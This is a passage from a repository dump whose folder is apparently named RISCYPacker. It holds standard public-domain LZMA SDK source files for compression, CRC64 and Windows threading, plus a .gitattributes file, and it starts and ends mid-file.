35 | WRes Thread_Create(CThread *p, THREAD_FUNC_TYPE func, LPVOID param); 36 | 37 | typedef HANDLE CEvent; 38 | typedef CEvent CAutoResetEvent; 39 | typedef CEvent CManualResetEvent; 40 | #define Event_Construct(p) *(p) = NULL 41 | #define Event_IsCreated(p) (*(p) != NULL) 42 | #define Event_Close(p) HandlePtr_Close(p) 43 | #define Event_Wait(p) Handle_WaitObject(*(p)) 44 | WRes Event_Set(CEvent *p); 45 | WRes Event_Reset(CEvent *p); 46 | WRes ManualResetEvent_Create(CManualResetEvent *p, int signaled); 47 | WRes ManualResetEvent_CreateNotSignaled(CManualResetEvent *p); 48 | WRes AutoResetEvent_Create(CAutoResetEvent *p, int signaled); 49 | WRes AutoResetEvent_CreateNotSignaled(CAutoResetEvent *p); 50 | 51 | typedef HANDLE CSemaphore; 52 | #define Semaphore_Construct(p) (*p) = NULL 53 | #define Semaphore_Close(p) HandlePtr_Close(p) 54 | #define Semaphore_Wait(p) Handle_WaitObject(*(p)) 55 | WRes Semaphore_Create(CSemaphore *p, UInt32 initCount, UInt32 maxCount); 56 | WRes Semaphore_ReleaseN(CSemaphore *p, UInt32 num); 57 | WRes Semaphore_Release1(CSemaphore *p); 58 | 59 | typedef CRITICAL_SECTION CCriticalSection; 60 | WRes CriticalSection_Init(CCriticalSection *p); 61 | #define CriticalSection_Delete(p) DeleteCriticalSection(p) 62 | #define CriticalSection_Enter(p) EnterCriticalSection(p) 63 | #define CriticalSection_Leave(p) LeaveCriticalSection(p) 64 | 65 | EXTERN_C_END 66 | 67 | #endif 68 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Xz.c: -------------------------------------------------------------------------------- 1 | /* Xz.c - Xz 2 | 2015-05-01 : Igor Pavlov : Public domain */ 3 | 4 | #include "Precomp.h" 5 | 6 | #include "7zCrc.h" 7 | #include "CpuArch.h" 8 | #include "Xz.h" 9 | #include "XzCrc64.h" 10 | 11 | const Byte XZ_SIG[XZ_SIG_SIZE] = { 0xFD, '7', 'z', 'X', 'Z', 0 }; 12 | const Byte XZ_FOOTER_SIG[XZ_FOOTER_SIG_SIZE] = { 'Y', 'Z' }; 13 | 14 | unsigned Xz_WriteVarInt(Byte *buf, UInt64 v) 15 | { 16 | unsigned i = 0; 17 | do 18 | { 19 | buf[i++] = (Byte)((v & 0x7F) | 0x80); 20 | v >>= 7; 21 | } 22 | while (v != 0); 23 | buf[i - 1] &= 0x7F; 24 | return i; 25 | } 26 | 27 | void Xz_Construct(CXzStream *p) 28 | { 29 | p->numBlocks = p->numBlocksAllocated = 0; 30 | p->blocks = 0; 31 | p->flags = 0; 32 | } 33 | 34 | void Xz_Free(CXzStream *p, ISzAlloc *alloc) 35 | { 36 | alloc->Free(alloc, p->blocks); 37 | p->numBlocks = p->numBlocksAllocated = 0; 38 | p->blocks = 0; 39 | } 40 | 41 | unsigned XzFlags_GetCheckSize(CXzStreamFlags f) 42 | { 43 | unsigned t = XzFlags_GetCheckType(f); 44 | return (t == 0) ? 0 : (4 << ((t - 1) / 3)); 45 | } 46 | 47 | void XzCheck_Init(CXzCheck *p, unsigned mode) 48 | { 49 | p->mode = mode; 50 | switch (mode) 51 | { 52 | case XZ_CHECK_CRC32: p->crc = CRC_INIT_VAL; break; 53 | case XZ_CHECK_CRC64: p->crc64 = CRC64_INIT_VAL; break; 54 | case XZ_CHECK_SHA256: Sha256_Init(&p->sha); break; 55 | } 56 | } 57 | 58 | void XzCheck_Update(CXzCheck *p, const void *data, size_t size) 59 | { 60 | switch (p->mode) 61 | { 62 | case XZ_CHECK_CRC32: p->crc = CrcUpdate(p->crc, data, size); break; 63 | case XZ_CHECK_CRC64: p->crc64 = Crc64Update(p->crc64, data, size); break; 64 | case XZ_CHECK_SHA256: Sha256_Update(&p->sha, (const Byte *)data, size); break; 65 | } 66 | } 67 | 68 | int XzCheck_Final(CXzCheck *p, Byte *digest) 69 | { 70 | switch (p->mode) 71 | { 72 | case XZ_CHECK_CRC32: 73 | SetUi32(digest, CRC_GET_DIGEST(p->crc)); 74 | break; 75 | case XZ_CHECK_CRC64: 76 | { 77 | int i; 78 | UInt64 v = CRC64_GET_DIGEST(p->crc64); 79 | for (i = 0; i < 8; i++, v >>= 8) 80 | digest[i] = (Byte)(v & 0xFF); 81 | break; 82 | } 83 | case XZ_CHECK_SHA256: 84 | Sha256_Final(&p->sha, digest); 85 | break; 86 | default: 87 | return 0; 88 | } 89 | return 1; 90 | } 91 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Ppmd.h: -------------------------------------------------------------------------------- 1 | /* Ppmd.h -- PPMD codec common code 2 | 2016-05-16 : Igor Pavlov : Public domain 3 | This code is based on PPMd var.H (2001): Dmitry Shkarin : Public domain */ 4 | 5 | #ifndef __PPMD_H 6 | #define __PPMD_H 7 | 8 | #include "CpuArch.h" 9 | 10 | EXTERN_C_BEGIN 11 | 12 | #ifdef MY_CPU_32BIT 13 | #define PPMD_32BIT 14 | #endif 15 | 16 | #define PPMD_INT_BITS 7 17 | #define PPMD_PERIOD_BITS 7 18 | #define PPMD_BIN_SCALE (1 << (PPMD_INT_BITS + PPMD_PERIOD_BITS)) 19 | 20 | #define PPMD_GET_MEAN_SPEC(summ, shift, round) (((summ) + (1 << ((shift) - (round)))) >> (shift)) 21 | #define PPMD_GET_MEAN(summ) PPMD_GET_MEAN_SPEC((summ), PPMD_PERIOD_BITS, 2) 22 | #define PPMD_UPDATE_PROB_0(prob) ((prob) + (1 << PPMD_INT_BITS) - PPMD_GET_MEAN(prob)) 23 | #define PPMD_UPDATE_PROB_1(prob) ((prob) - PPMD_GET_MEAN(prob)) 24 | 25 | #define PPMD_N1 4 26 | #define PPMD_N2 4 27 | #define PPMD_N3 4 28 | #define PPMD_N4 ((128 + 3 - 1 * PPMD_N1 - 2 * PPMD_N2 - 3 * PPMD_N3) / 4) 29 | #define PPMD_NUM_INDEXES (PPMD_N1 + PPMD_N2 + PPMD_N3 + PPMD_N4) 30 | 31 | #pragma pack(push, 1) 32 | /* Most compilers works OK here even without #pragma pack(push, 1), but some GCC compilers need it. */ 33 | 34 | /* SEE-contexts for PPM-contexts with masked symbols */ 35 | typedef struct 36 | { 37 | UInt16 Summ; /* Freq */ 38 | Byte Shift; /* Speed of Freq change; low Shift is for fast change */ 39 | Byte Count; /* Count to next change of Shift */ 40 | } CPpmd_See; 41 | 42 | #define Ppmd_See_Update(p) if ((p)->Shift < PPMD_PERIOD_BITS && --(p)->Count == 0) \ 43 | { (p)->Summ <<= 1; (p)->Count = (Byte)(3 << (p)->Shift++); } 44 | 45 | typedef struct 46 | { 47 | Byte Symbol; 48 | Byte Freq; 49 | UInt16 SuccessorLow; 50 | UInt16 SuccessorHigh; 51 | } CPpmd_State; 52 | 53 | #pragma pack(pop) 54 | 55 | typedef 56 | #ifdef PPMD_32BIT 57 | CPpmd_State * 58 | #else 59 | UInt32 60 | #endif 61 | CPpmd_State_Ref; 62 | 63 | typedef 64 | #ifdef PPMD_32BIT 65 | void * 66 | #else 67 | UInt32 68 | #endif 69 | CPpmd_Void_Ref; 70 | 71 | typedef 72 | #ifdef PPMD_32BIT 73 | Byte * 74 | #else 75 | UInt32 76 | #endif 77 | CPpmd_Byte_Ref; 78 | 79 | #define PPMD_SetAllBitsIn256Bytes(p) \ 80 | { unsigned z; for (z = 0; z < 256 / sizeof(p[0]); z += 8) { \ 81 | p[z+7] = p[z+6] = p[z+5] = p[z+4] = p[z+3] = p[z+2] = p[z+1] = p[z+0] = ~(size_t)0; }} 82 | 83 | EXTERN_C_END 84 | 85 | #endif 86 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/MtCoder.h: -------------------------------------------------------------------------------- 1 | /* MtCoder.h -- Multi-thread Coder 2 | 2009-11-19 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __MT_CODER_H 5 | #define __MT_CODER_H 6 | 7 | #include "Threads.h" 8 | 9 | EXTERN_C_BEGIN 10 | 11 | typedef struct 12 | { 13 | CThread thread; 14 | CAutoResetEvent startEvent; 15 | CAutoResetEvent finishedEvent; 16 | int stop; 17 | 18 | THREAD_FUNC_TYPE func; 19 | LPVOID param; 20 | THREAD_FUNC_RET_TYPE res; 21 | } CLoopThread; 22 | 23 | void LoopThread_Construct(CLoopThread *p); 24 | void LoopThread_Close(CLoopThread *p); 25 | WRes LoopThread_Create(CLoopThread *p); 26 | WRes LoopThread_StopAndWait(CLoopThread *p); 27 | WRes LoopThread_StartSubThread(CLoopThread *p); 28 | WRes LoopThread_WaitSubThread(CLoopThread *p); 29 | 30 | #ifndef _7ZIP_ST 31 | #define NUM_MT_CODER_THREADS_MAX 32 32 | #else 33 | #define NUM_MT_CODER_THREADS_MAX 1 34 | #endif 35 | 36 | typedef struct 37 | { 38 | UInt64 totalInSize; 39 | UInt64 totalOutSize; 40 | ICompressProgress *progress; 41 | SRes res; 42 | CCriticalSection cs; 43 | UInt64 inSizes[NUM_MT_CODER_THREADS_MAX]; 44 | UInt64 outSizes[NUM_MT_CODER_THREADS_MAX]; 45 | } CMtProgress; 46 | 47 | SRes MtProgress_Set(CMtProgress *p, unsigned index, UInt64 inSize, UInt64 outSize); 48 | 49 | struct _CMtCoder; 50 | 51 | typedef struct 52 | { 53 | struct _CMtCoder *mtCoder; 54 | Byte *outBuf; 55 | size_t outBufSize; 56 | Byte *inBuf; 57 | size_t inBufSize; 58 | unsigned index; 59 | CLoopThread thread; 60 | 61 | Bool stopReading; 62 | Bool stopWriting; 63 | CAutoResetEvent canRead; 64 | CAutoResetEvent canWrite; 65 | } CMtThread; 66 | 67 | typedef struct 68 | { 69 | SRes (*Code)(void *p, unsigned index, Byte *dest, size_t *destSize, 70 | const Byte *src, size_t srcSize, int finished); 71 | } IMtCoderCallback; 72 | 73 | typedef struct _CMtCoder 74 | { 75 | size_t blockSize; 76 | size_t destBlockSize; 77 | unsigned numThreads; 78 | 79 | ISeqInStream *inStream; 80 | ISeqOutStream *outStream; 81 | ICompressProgress *progress; 82 | ISzAlloc *alloc; 83 | 84 | IMtCoderCallback *mtCallback; 85 | CCriticalSection cs; 86 | SRes res; 87 | 88 | CMtProgress mtProgress; 89 | CMtThread threads[NUM_MT_CODER_THREADS_MAX]; 90 | } CMtCoder; 91 | 92 | void MtCoder_Construct(CMtCoder* p); 93 | void MtCoder_Destruct(CMtCoder* p); 94 | SRes MtCoder_Code(CMtCoder *p); 95 | 96 | EXTERN_C_END 97 | 98 | #endif 99 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/XzCrc64.c: -------------------------------------------------------------------------------- 1 | /* XzCrc64.c -- CRC64 calculation 2 | 2015-03-01 : Igor Pavlov : Public domain */ 3 | 4 | #include "Precomp.h" 5 | 6 | #include "XzCrc64.h" 7 | #include "CpuArch.h" 8 | 9 | #define kCrc64Poly UINT64_CONST(0xC96C5795D7870F42) 10 | 11 | #ifdef MY_CPU_LE 12 | #define CRC_NUM_TABLES 4 13 | #else 14 | #define CRC_NUM_TABLES 5 15 | #define CRC_UINT64_SWAP(v) \ 16 | ((v >> 56) \ 17 | | ((v >> 40) & ((UInt64)0xFF << 8)) \ 18 | | ((v >> 24) & ((UInt64)0xFF << 16)) \ 19 | | ((v >> 8) & ((UInt64)0xFF << 24)) \ 20 | | ((v << 8) & ((UInt64)0xFF << 32)) \ 21 | | ((v << 24) & ((UInt64)0xFF << 40)) \ 22 | | ((v << 40) & ((UInt64)0xFF << 48)) \ 23 | | ((v << 56))) 24 | 25 | UInt64 MY_FAST_CALL XzCrc64UpdateT1_BeT4(UInt64 v, const void *data, size_t size, const UInt64 *table); 26 | #endif 27 | 28 | #ifndef MY_CPU_BE 29 | UInt64 MY_FAST_CALL XzCrc64UpdateT4(UInt64 v, const void *data, size_t size, const UInt64 *table); 30 | #endif 31 | 32 | typedef UInt64 (MY_FAST_CALL *CRC_FUNC)(UInt64 v, const void *data, size_t size, const UInt64 *table); 33 | 34 | static CRC_FUNC g_Crc64Update; 35 | UInt64 g_Crc64Table[256 * CRC_NUM_TABLES]; 36 | 37 | UInt64 MY_FAST_CALL Crc64Update(UInt64 v, const void *data, size_t size) 38 | { 39 | return g_Crc64Update(v, data, size, g_Crc64Table); 40 | } 41 | 42 | UInt64 MY_FAST_CALL Crc64Calc(const void *data, size_t size) 43 | { 44 | return g_Crc64Update(CRC64_INIT_VAL, data, size, g_Crc64Table) ^ CRC64_INIT_VAL; 45 | } 46 | 47 | void MY_FAST_CALL Crc64GenerateTable() 48 | { 49 | UInt32 i; 50 | for (i = 0; i < 256; i++) 51 | { 52 | UInt64 r = i; 53 | unsigned j; 54 | for (j = 0; j < 8; j++) 55 | r = (r >> 1) ^ (kCrc64Poly & ~((r & 1) - 1)); 56 | g_Crc64Table[i] = r; 57 | } 58 | for (; i < 256 * CRC_NUM_TABLES; i++) 59 | { 60 | UInt64 r = g_Crc64Table[i - 256]; 61 | g_Crc64Table[i] = g_Crc64Table[r & 0xFF] ^ (r >> 8); 62 | } 63 | 64 | #ifdef MY_CPU_LE 65 | 66 | g_Crc64Update = XzCrc64UpdateT4; 67 | 68 | #else 69 | { 70 | #ifndef MY_CPU_BE 71 | UInt32 k = 1; 72 | if (*(const Byte *)&k == 1) 73 | g_Crc64Update = XzCrc64UpdateT4; 74 | else 75 | #endif 76 | { 77 | for (i = 256 * CRC_NUM_TABLES - 1; i >= 256; i--) 78 | { 79 | UInt64 x = g_Crc64Table[i - 256]; 80 | g_Crc64Table[i] = CRC_UINT64_SWAP(x); 81 | } 82 | g_Crc64Update = XzCrc64UpdateT1_BeT4; 83 | } 84 | } 85 | #endif 86 | } 87 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Lzma2Dec.h: -------------------------------------------------------------------------------- 1 | /* Lzma2Dec.h -- LZMA2 Decoder 2 | 2015-05-13 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __LZMA2_DEC_H 5 | #define __LZMA2_DEC_H 6 | 7 | #include "LzmaDec.h" 8 | 9 | EXTERN_C_BEGIN 10 | 11 | /* ---------- State Interface ---------- */ 12 | 13 | typedef struct 14 | { 15 | CLzmaDec decoder; 16 | UInt32 packSize; 17 | UInt32 unpackSize; 18 | unsigned state; 19 | Byte control; 20 | Bool needInitDic; 21 | Bool needInitState; 22 | Bool needInitProp; 23 | } CLzma2Dec; 24 | 25 | #define Lzma2Dec_Construct(p) LzmaDec_Construct(&(p)->decoder) 26 | #define Lzma2Dec_FreeProbs(p, alloc) LzmaDec_FreeProbs(&(p)->decoder, alloc); 27 | #define Lzma2Dec_Free(p, alloc) LzmaDec_Free(&(p)->decoder, alloc); 28 | 29 | SRes Lzma2Dec_AllocateProbs(CLzma2Dec *p, Byte prop, ISzAlloc *alloc); 30 | SRes Lzma2Dec_Allocate(CLzma2Dec *p, Byte prop, ISzAlloc *alloc); 31 | void Lzma2Dec_Init(CLzma2Dec *p); 32 | 33 | 34 | /* 35 | finishMode: 36 | It has meaning only if the decoding reaches output limit (*destLen or dicLimit). 37 | LZMA_FINISH_ANY - use smallest number of input bytes 38 | LZMA_FINISH_END - read EndOfStream marker after decoding 39 | 40 | Returns: 41 | SZ_OK 42 | status: 43 | LZMA_STATUS_FINISHED_WITH_MARK 44 | LZMA_STATUS_NOT_FINISHED 45 | LZMA_STATUS_NEEDS_MORE_INPUT 46 | SZ_ERROR_DATA - Data error 47 | */ 48 | 49 | SRes Lzma2Dec_DecodeToDic(CLzma2Dec *p, SizeT dicLimit, 50 | const Byte *src, SizeT *srcLen, ELzmaFinishMode finishMode, ELzmaStatus *status); 51 | 52 | SRes Lzma2Dec_DecodeToBuf(CLzma2Dec *p, Byte *dest, SizeT *destLen, 53 | const Byte *src, SizeT *srcLen, ELzmaFinishMode finishMode, ELzmaStatus *status); 54 | 55 | 56 | /* ---------- One Call Interface ---------- */ 57 | 58 | /* 59 | finishMode: 60 | It has meaning only if the decoding reaches output limit (*destLen). 61 | LZMA_FINISH_ANY - use smallest number of input bytes 62 | LZMA_FINISH_END - read EndOfStream marker after decoding 63 | 64 | Returns: 65 | SZ_OK 66 | status: 67 | LZMA_STATUS_FINISHED_WITH_MARK 68 | LZMA_STATUS_NOT_FINISHED 69 | SZ_ERROR_DATA - Data error 70 | SZ_ERROR_MEM - Memory allocation error 71 | SZ_ERROR_UNSUPPORTED - Unsupported properties 72 | SZ_ERROR_INPUT_EOF - It needs more bytes in input buffer (src). 73 | */ 74 | 75 | SRes Lzma2Decode(Byte *dest, SizeT *destLen, const Byte *src, SizeT *srcLen, 76 | Byte prop, ELzmaFinishMode finishMode, ELzmaStatus *status, ISzAlloc *alloc); 77 | 78 | EXTERN_C_END 79 | 80 | #endif 81 | -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Set default behavior to automatically normalize line endings. 3 | ############################################################################### 4 | * text=auto 5 | 6 | ############################################################################### 7 | # Set default behavior for command prompt diff. 8 | # 9 | # This is need for earlier builds of msysgit that does not have it on by 10 | # default for csharp files. 11 | # Note: This is only used by command line 12 | ############################################################################### 13 | #*.cs diff=csharp 14 | 15 | ############################################################################### 16 | # Set the merge driver for project and solution files 17 | # 18 | # Merging from the command prompt will add diff markers to the files if there 19 | # are conflicts (Merging from VS is not affected by the settings below, in VS 20 | # the diff markers are never inserted). Diff markers may cause the following 21 | # file extensions to fail to load in VS. An alternative would be to treat 22 | # these files as binary and thus will always conflict and require user 23 | # intervention with every merge. To do so, just uncomment the entries below 24 | ############################################################################### 25 | #*.sln merge=binary 26 | #*.csproj merge=binary 27 | #*.vbproj merge=binary 28 | #*.vcxproj merge=binary 29 | #*.vcproj merge=binary 30 | #*.dbproj merge=binary 31 | #*.fsproj merge=binary 32 | #*.lsproj merge=binary 33 | #*.wixproj merge=binary 34 | #*.modelproj merge=binary 35 | #*.sqlproj merge=binary 36 | #*.wwaproj merge=binary 37 | 38 | ############################################################################### 39 | # behavior for image files 40 | # 41 | # image files are treated as binary by default. 42 | ############################################################################### 43 | #*.jpg binary 44 | #*.png binary 45 | #*.gif binary 46 | 47 | ############################################################################### 48 | # diff behavior for common document formats 49 | # 50 | # Convert binary document formats to text before diffing them. This feature 51 | # is only available from the command line. Turn it on by uncommenting the 52 | # entries below. 53 | ############################################################################### 54 | #*.doc diff=astextplain 55 | #*.DOC diff=astextplain 56 | #*.docx diff=astextplain 57 | #*.DOCX diff=astextplain 58 | #*.dot diff=astextplain 59 | #*.DOT diff=astextplain 60 | #*.pdf diff=astextplain 61 | #*.PDF diff=astextplain 62 | #*.rtf diff=astextplain 63 | #*.RTF diff=astextplain 64 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/LzFindMt.h: -------------------------------------------------------------------------------- 1 | /* LzFindMt.h -- multithreaded Match finder for LZ algorithms 2 | 2015-05-03 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __LZ_FIND_MT_H 5 | #define __LZ_FIND_MT_H 6 | 7 | #include "LzFind.h" 8 | #include "Threads.h" 9 | 10 | EXTERN_C_BEGIN 11 | 12 | #define kMtHashBlockSize (1 << 13) 13 | #define kMtHashNumBlocks (1 << 3) 14 | #define kMtHashNumBlocksMask (kMtHashNumBlocks - 1) 15 | 16 | #define kMtBtBlockSize (1 << 14) 17 | #define kMtBtNumBlocks (1 << 6) 18 | #define kMtBtNumBlocksMask (kMtBtNumBlocks - 1) 19 | 20 | typedef struct _CMtSync 21 | { 22 | Bool wasCreated; 23 | Bool needStart; 24 | Bool exit; 25 | Bool stopWriting; 26 | 27 | CThread thread; 28 | CAutoResetEvent canStart; 29 | CAutoResetEvent wasStarted; 30 | CAutoResetEvent wasStopped; 31 | CSemaphore freeSemaphore; 32 | CSemaphore filledSemaphore; 33 | Bool csWasInitialized; 34 | Bool csWasEntered; 35 | CCriticalSection cs; 36 | UInt32 numProcessedBlocks; 37 | } CMtSync; 38 | 39 | typedef UInt32 * (*Mf_Mix_Matches)(void *p, UInt32 matchMinPos, UInt32 *distances); 40 | 41 | /* kMtCacheLineDummy must be >= size_of_CPU_cache_line */ 42 | #define kMtCacheLineDummy 128 43 | 44 | typedef void (*Mf_GetHeads)(const Byte *buffer, UInt32 pos, 45 | UInt32 *hash, UInt32 hashMask, UInt32 *heads, UInt32 numHeads, const UInt32 *crc); 46 | 47 | typedef struct _CMatchFinderMt 48 | { 49 | /* LZ */ 50 | const Byte *pointerToCurPos; 51 | UInt32 *btBuf; 52 | UInt32 btBufPos; 53 | UInt32 btBufPosLimit; 54 | UInt32 lzPos; 55 | UInt32 btNumAvailBytes; 56 | 57 | UInt32 *hash; 58 | UInt32 fixedHashSize; 59 | UInt32 historySize; 60 | const UInt32 *crc; 61 | 62 | Mf_Mix_Matches MixMatchesFunc; 63 | 64 | /* LZ + BT */ 65 | CMtSync btSync; 66 | Byte btDummy[kMtCacheLineDummy]; 67 | 68 | /* BT */ 69 | UInt32 *hashBuf; 70 | UInt32 hashBufPos; 71 | UInt32 hashBufPosLimit; 72 | UInt32 hashNumAvail; 73 | 74 | CLzRef *son; 75 | UInt32 matchMaxLen; 76 | UInt32 numHashBytes; 77 | UInt32 pos; 78 | const Byte *buffer; 79 | UInt32 cyclicBufferPos; 80 | UInt32 cyclicBufferSize; /* it must be historySize + 1 */ 81 | UInt32 cutValue; 82 | 83 | /* BT + Hash */ 84 | CMtSync hashSync; 85 | /* Byte hashDummy[kMtCacheLineDummy]; */ 86 | 87 | /* Hash */ 88 | Mf_GetHeads GetHeadsFunc; 89 | CMatchFinder *MatchFinder; 90 | } CMatchFinderMt; 91 | 92 | void MatchFinderMt_Construct(CMatchFinderMt *p); 93 | void MatchFinderMt_Destruct(CMatchFinderMt *p, ISzAlloc *alloc); 94 | SRes MatchFinderMt_Create(CMatchFinderMt *p, UInt32 historySize, UInt32 keepAddBufferBefore, 95 | UInt32 matchMaxLen, UInt32 keepAddBufferAfter, ISzAlloc *alloc); 96 | void MatchFinderMt_CreateVTable(CMatchFinderMt *p, IMatchFinder *vTable); 97 | void MatchFinderMt_ReleaseStream(CMatchFinderMt *p); 98 | 99 | EXTERN_C_END 100 | 101 | #endif 102 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Threads.c: -------------------------------------------------------------------------------- 1 | /* Threads.c -- multithreading library 2 | 2014-09-21 : Igor Pavlov : Public domain */ 3 | 4 | #include "Precomp.h" 5 | 6 | #ifndef UNDER_CE 7 | #include 8 | #endif 9 | 10 | #include "Threads.h" 11 | 12 | static WRes GetError() 13 | { 14 | DWORD res = GetLastError(); 15 | return (res) ? (WRes)(res) : 1; 16 | } 17 | 18 | WRes HandleToWRes(HANDLE h) { return (h != 0) ? 0 : GetError(); } 19 | WRes BOOLToWRes(BOOL v) { return v ? 0 : GetError(); } 20 | 21 | WRes HandlePtr_Close(HANDLE *p) 22 | { 23 | if (*p != NULL) 24 | if (!CloseHandle(*p)) 25 | return GetError(); 26 | *p = NULL; 27 | return 0; 28 | } 29 | 30 | WRes Handle_WaitObject(HANDLE h) { return (WRes)WaitForSingleObject(h, INFINITE); } 31 | 32 | WRes Thread_Create(CThread *p, THREAD_FUNC_TYPE func, LPVOID param) 33 | { 34 | /* Windows Me/98/95: threadId parameter may not be NULL in _beginthreadex/CreateThread functions */ 35 | 36 | #ifdef UNDER_CE 37 | 38 | DWORD threadId; 39 | *p = CreateThread(0, 0, func, param, 0, &threadId); 40 | 41 | #else 42 | 43 | unsigned threadId; 44 | *p = (HANDLE)_beginthreadex(NULL, 0, func, param, 0, &threadId); 45 | 46 | #endif 47 | 48 | /* maybe we must use errno here, but probably GetLastError() is also OK. */ 49 | return HandleToWRes(*p); 50 | } 51 | 52 | WRes Event_Create(CEvent *p, BOOL manualReset, int signaled) 53 | { 54 | *p = CreateEvent(NULL, manualReset, (signaled ? TRUE : FALSE), NULL); 55 | return HandleToWRes(*p); 56 | } 57 | 58 | WRes Event_Set(CEvent *p) { return BOOLToWRes(SetEvent(*p)); } 59 | WRes Event_Reset(CEvent *p) { return BOOLToWRes(ResetEvent(*p)); } 60 | 61 | WRes ManualResetEvent_Create(CManualResetEvent *p, int signaled) { return Event_Create(p, TRUE, signaled); } 62 | WRes AutoResetEvent_Create(CAutoResetEvent *p, int signaled) { return Event_Create(p, FALSE, signaled); } 63 | WRes ManualResetEvent_CreateNotSignaled(CManualResetEvent *p) { return ManualResetEvent_Create(p, 0); } 64 | WRes AutoResetEvent_CreateNotSignaled(CAutoResetEvent *p) { return AutoResetEvent_Create(p, 0); } 65 | 66 | 67 | WRes Semaphore_Create(CSemaphore *p, UInt32 initCount, UInt32 maxCount) 68 | { 69 | *p = CreateSemaphore(NULL, (LONG)initCount, (LONG)maxCount, NULL); 70 | return HandleToWRes(*p); 71 | } 72 | 73 | static WRes Semaphore_Release(CSemaphore *p, LONG releaseCount, LONG *previousCount) 74 | { return BOOLToWRes(ReleaseSemaphore(*p, releaseCount, previousCount)); } 75 | WRes Semaphore_ReleaseN(CSemaphore *p, UInt32 num) 76 | { return Semaphore_Release(p, (LONG)num, NULL); } 77 | WRes Semaphore_Release1(CSemaphore *p) { return Semaphore_ReleaseN(p, 1); } 78 | 79 | WRes CriticalSection_Init(CCriticalSection *p) 80 | { 81 | /* InitializeCriticalSection can raise only STATUS_NO_MEMORY exception */ 82 | #ifdef _MSC_VER 83 | __try 84 | #endif 85 | { 86 | InitializeCriticalSection(p); 87 | /* InitializeCriticalSectionAndSpinCount(p, 0); */ 88 | } 89 | #ifdef _MSC_VER 90 | __except (EXCEPTION_EXECUTE_HANDLER) { return 1; } 91 | #endif 92 | return 0; 93 | } 94 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Lzma86Enc.c: -------------------------------------------------------------------------------- 1 | /* Lzma86Enc.c -- LZMA + x86 (BCJ) Filter Encoder 2 | 2016-05-16 : Igor Pavlov : Public domain */ 3 | 4 | #include "Precomp.h" 5 | 6 | #include 7 | 8 | #include "Lzma86.h" 9 | 10 | #include "Alloc.h" 11 | #include "Bra.h" 12 | #include "LzmaEnc.h" 13 | 14 | #define SZE_OUT_OVERFLOW SZE_DATA_ERROR 15 | 16 | int Lzma86_Encode(Byte *dest, size_t *destLen, const Byte *src, size_t srcLen, 17 | int level, UInt32 dictSize, int filterMode) 18 | { 19 | size_t outSize2 = *destLen; 20 | Byte *filteredStream; 21 | Bool useFilter; 22 | int mainResult = SZ_ERROR_OUTPUT_EOF; 23 | CLzmaEncProps props; 24 | LzmaEncProps_Init(&props); 25 | props.level = level; 26 | props.dictSize = dictSize; 27 | 28 | *destLen = 0; 29 | if (outSize2 < LZMA86_HEADER_SIZE) 30 | return SZ_ERROR_OUTPUT_EOF; 31 | 32 | { 33 | int i; 34 | UInt64 t = srcLen; 35 | for (i = 0; i < 8; i++, t >>= 8) 36 | dest[LZMA86_SIZE_OFFSET + i] = (Byte)t; 37 | } 38 | 39 | filteredStream = 0; 40 | useFilter = (filterMode != SZ_FILTER_NO); 41 | if (useFilter) 42 | { 43 | if (srcLen != 0) 44 | { 45 | filteredStream = (Byte *)MyAlloc(srcLen); 46 | if (filteredStream == 0) 47 | return SZ_ERROR_MEM; 48 | memcpy(filteredStream, src, srcLen); 49 | } 50 | { 51 | UInt32 x86State; 52 | x86_Convert_Init(x86State); 53 | x86_Convert(filteredStream, srcLen, 0, &x86State, 1); 54 | } 55 | } 56 | 57 | { 58 | size_t minSize = 0; 59 | Bool bestIsFiltered = False; 60 | 61 | /* passes for SZ_FILTER_AUTO: 62 | 0 - BCJ + LZMA 63 | 1 - LZMA 64 | 2 - BCJ + LZMA agaian, if pass 0 (BCJ + LZMA) is better. 65 | */ 66 | int numPasses = (filterMode == SZ_FILTER_AUTO) ? 3 : 1; 67 | 68 | int i; 69 | for (i = 0; i < numPasses; i++) 70 | { 71 | size_t outSizeProcessed = outSize2 - LZMA86_HEADER_SIZE; 72 | size_t outPropsSize = 5; 73 | SRes curRes; 74 | Bool curModeIsFiltered = (numPasses > 1 && i == numPasses - 1); 75 | if (curModeIsFiltered && !bestIsFiltered) 76 | break; 77 | if (useFilter && i == 0) 78 | curModeIsFiltered = True; 79 | 80 | curRes = LzmaEncode(dest + LZMA86_HEADER_SIZE, &outSizeProcessed, 81 | curModeIsFiltered ? filteredStream : src, srcLen, 82 | &props, dest + 1, &outPropsSize, 0, 83 | NULL, &g_Alloc, &g_Alloc); 84 | 85 | if (curRes != SZ_ERROR_OUTPUT_EOF) 86 | { 87 | if (curRes != SZ_OK) 88 | { 89 | mainResult = curRes; 90 | break; 91 | } 92 | if (outSizeProcessed <= minSize || mainResult != SZ_OK) 93 | { 94 | minSize = outSizeProcessed; 95 | bestIsFiltered = curModeIsFiltered; 96 | mainResult = SZ_OK; 97 | } 98 | } 99 | } 100 | dest[0] = (Byte)(bestIsFiltered ? 1 : 0); 101 | *destLen = LZMA86_HEADER_SIZE + minSize; 102 | } 103 | if (useFilter) 104 | MyFree(filteredStream); 105 | return mainResult; 106 | } 107 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Sort.c: -------------------------------------------------------------------------------- 1 | /* Sort.c -- Sort functions 2 | 2014-04-05 : Igor Pavlov : Public domain */ 3 | 4 | #include "Precomp.h" 5 | 6 | #include "Sort.h" 7 | 8 | #define HeapSortDown(p, k, size, temp) \ 9 | { for (;;) { \ 10 | size_t s = (k << 1); \ 11 | if (s > size) break; \ 12 | if (s < size && p[s + 1] > p[s]) s++; \ 13 | if (temp >= p[s]) break; \ 14 | p[k] = p[s]; k = s; \ 15 | } p[k] = temp; } 16 | 17 | void HeapSort(UInt32 *p, size_t size) 18 | { 19 | if (size <= 1) 20 | return; 21 | p--; 22 | { 23 | size_t i = size / 2; 24 | do 25 | { 26 | UInt32 temp = p[i]; 27 | size_t k = i; 28 | 